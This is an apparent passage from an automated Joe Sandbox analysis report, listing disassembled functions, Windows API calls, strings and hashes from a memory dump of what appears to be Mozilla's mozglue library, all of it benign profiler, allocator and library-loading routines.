String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C4E0E9B
kernel32.dll, xrefs: 6C4E0E7D

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

<jemalloc>, xrefs: 6C5105FA, 6C51060F
: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C4E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C52C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C50F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C51E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E04F

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C51E057

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction ID: bf174e532cc778a8d5e57cda8e8fd2770b051bae2e51eae2d10092d3ab60d5c3
Opcode Fuzzy Hash: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction Fuzzy Hash: F321B078B051088FEF04EF65DC5CAAEB7B5AF89308F550418E80A97F40DB71AD09C7A5

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

UnmapViewOfFile2, xrefs: 6C537552
kernel32.dll, xrefs: 6C537557

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

RtlNtStatusToDosError, xrefs: 6C5375D1
ntdll.dll, xrefs: 6C5375B3

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

NtUnmapViewOfSection, xrefs: 6C537621
ntdll.dll, xrefs: 6C537603

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

